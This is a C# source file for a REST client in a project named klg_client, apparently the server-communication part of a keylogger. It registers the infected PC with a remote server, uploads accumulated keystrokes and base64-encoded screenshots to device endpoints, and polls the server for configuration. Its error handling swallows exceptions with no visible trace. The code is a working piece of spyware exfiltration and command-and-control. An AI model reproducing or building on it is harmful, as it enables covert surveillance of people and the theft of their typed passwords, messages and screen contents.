﻿using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;
using Newtonsoft.Json;
using klg_client.library.Dto;

namespace klg_client.library
{
    public class RestClient
    {
        private static RestClient _instance;

        public static RestClient Instance
        {
            get { return _instance ?? (_instance = new RestClient()); }
        }

        public RestClient()
        {
            ServicePointManager.Expect100Continue = false;
        }

        private HttpWebResponse GetWebRequest(string url)
        {
            return DoWebRequest(url, "GET", null);
        }

        private HttpWebResponse PostWebRequest(string url, byte[] data)
        {
            return DoWebRequest(url, "POST", data);
        }

        private HttpWebResponse DeleteWebRequest(string url)
        {
            return DoWebRequest(url, "DELETE", null);
        }

        private HttpWebResponse DoWebRequest(string url, string method, byte[] data)
        {
            try
            {
                //MessageBox.Show(url);

                var webRequest = (HttpWebRequest)WebRequest.Create(url);
                webRequest.Method = method;
                webRequest.ContentType = "application/json";
                webRequest.Accept = "application/json";
                webRequest.Expect = "";
                webRequest.AllowAutoRedirect = false;
                webRequest.UserAgent = "Klg-Client v1.0";

                if (webRequest.Method == "POST" && data != null && data.Length > 0)
                {
                    webRequest.ContentLength = data.Length;
                    var requestStream = webRequest.GetRequestStream();
                    requestStream.Write(data, 0, data.Length);
                }

                var response = (HttpWebResponse)webRequest.GetResponse();
                return response;


                //var responseStream = response.GetResponseStream();
                //if (responseStream == null)
                //    return null;

                //var reader = new StreamReader(responseStream);
                //return reader.ReadToEnd();
            }
            catch (Exception ex)
            {
                //MessageBox.Show(ex.Message);
                return null;
            }
        }

        #region [    Specific Methods    ]

        /// <summary>
        /// Returns the token calculated by the server method 
        /// </summary>
        /// <param name="param"></param>
        /// <returns></returns>
        public string RegisterPC(DeviceParamWrapper param)
        {
            var serialized = JsonConvert.SerializeObject(param);
            var data = Encoding.UTF8.GetBytes(serialized);

            var result = PostWebRequest(ConfigMgr.Instance.BaseUrl + "/devices", data);
            if (result != null)
            {
                var location = result.Headers[HttpResponseHeader.Location];
                var arr = location.Split('/');
                return arr[arr.Length - 1];
            }
            return "";
        }

        /// <summary>
        /// Returns whether it was deleted or not
        /// </summary>
        /// <param name="token"></param>
        /// <returns></returns>
        public bool UnRegisterPC(string token)
        {
            var result = DeleteWebRequest(ConfigMgr.Instance.BaseUrl + "/devices/" + token);
            return (result != null && result.StatusCode == HttpStatusCode.NoContent);
        }

        /// <summary>
        /// Sends a sequence of keystrokes that were accumulated  
        /// </summary>
        /// <param name="token"></param>
        /// <param name="param"></param>
        /// <returns></returns>
        public bool SendKeyStroke(string token, KeyLogParamWrapper param)
        {
            var serialized = JsonConvert.SerializeObject(param);
            var data = Encoding.UTF8.GetBytes(serialized);

            var result = PostWebRequest(ConfigMgr.Instance.BaseUrl + "/devices/" + token + "/keylogs", data);
            //if (result != null)
            //{
            //    var location = result.Headers[HttpResponseHeader.Location];
            //    var arr = location.Split('/');
            //    return arr[arr.Length - 1];
            //}
            //return "";

            return (result != null && result.StatusCode == HttpStatusCode.Created);
        }

        /// <summary>
        /// Sends a screenshot serialized and base64 encoded   
        /// </summary>
        /// <param name="token"></param>
        /// <param name="param"></param>
        /// <returns></returns>
        public bool SendScreenshot(string token, ScreenshotParamWrapper param)
        {
            var serialized = JsonConvert.SerializeObject(param);
            //MessageBox.Show(serialized);
            var data = Encoding.UTF8.GetBytes(serialized);

            var result = PostWebRequest(ConfigMgr.Instance.BaseUrl + "/devices/" + token + "/screenshots", data);
            //if (result != null)
            //{
            //    var location = result.Headers[HttpResponseHeader.Location];
            //    var arr = location.Split('/');
            //    return arr[arr.Length - 1];
            //}
            //return "";
            return (result != null && result.StatusCode == HttpStatusCode.Created);
        }

        /// <summary>
        /// Get the configuration data and updates the last activity field for the computer data
        /// </summary>
        /// <param name="token"></param>
        /// <returns></returns>
        public ConfigurationInfo Ping(string token)
        {
            var result = GetWebRequest(ConfigMgr.Instance.BaseUrl + "/devices/" + token + "/ping");
            if (result != null)
            {
                var responseStream = result.GetResponseStream();
                if (responseStream == null)
                    return null;

                var reader = new StreamReader(responseStream);
                var serialized = reader.ReadToEnd();

                return JsonConvert.DeserializeObject<ConfigurationInfo>(serialized);
            }
            return null;
        }

        #endregion
    }
}
